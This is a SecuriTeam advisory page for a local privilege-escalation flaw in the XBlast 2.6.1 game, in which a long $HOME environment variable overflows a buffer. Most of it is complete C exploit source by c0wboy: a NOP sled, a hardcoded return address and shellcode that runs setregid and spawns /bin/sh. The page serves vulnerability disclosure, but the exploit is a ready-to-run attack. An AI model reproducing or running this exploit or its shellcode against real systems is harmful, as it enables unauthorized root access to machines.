SecuriTeam - XBlast Local Root Exploit

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

"XBlast is a multi-player arcade game for X11R5/R6. The game can be played with at least two players and up to four players. It was inspired by the video/computer game Bomberman(Dynablaster), which was to my knowledge first programmed for NEC's PC Engine/Turbo Grafx. Other (commercial) versions of the original game exist for IBM-PC, Atari ST, Amiga, NES, GameBoy, and Super NES."

A buffer inside XBlast could be overflowed by passing a long $HOME environment, this overflow will allow execution of arbitrary code.

Credit:
The information was provided by c0wboy

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable Systems:
* XBlast version 2.6.1

/* 0x333xblast => xblast 2.6.1 local exploit
*
* xblast could be overflowed by passing a long $HOME
* env. For more info read advisory @ :
*
* http://www.0x333.org/advisories/outsider-003.txt
*
* * note * :
* exploit tested against xblast-2.6.beta-1.i386.rpm
* under Red Hat Linux 9.0. xblaste is not install
* by default +s.
*
* coded by c0wboy
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BIN "/usr/X11R6/bin/xblast"
#define SIZE 1032

#define RET 0xbffffb38
#define NOP 0x90

unsigned char shellcode[] =

        /* setregid (20,20) shellcode */
        "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
        "\xcd\x80"

        /* exec /bin/sh shellcode */

        "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
        "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

void banner (void);
void memret (char *, int, int, int);

void banner (void)
{
        fprintf (stdout, "\n\n --- xblast local exploit by c0wboy ---\n");
        fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");

        fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]\n\n");
}

void memret (char *buffer, int ret, int size, int align)
{
        int i;
        int * ptr = (int *) (buffer + align);

        for (i=0; i<size; i+=4)
                *ptr++ = ret;

        ptr = 0x0;
}

int main ()
{
        int ret = RET;
        char out[SIZE];

        memret ((char *)out, ret, SIZE-1, 0);

        memset ((char *)out, NOP, 333);
        memcpy ((char *)out+333, shellcode, strlen(shellcode));

        setenv ("HOME", out, 1);

        banner ();
        execl (BIN, BIN, 0x0);
}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)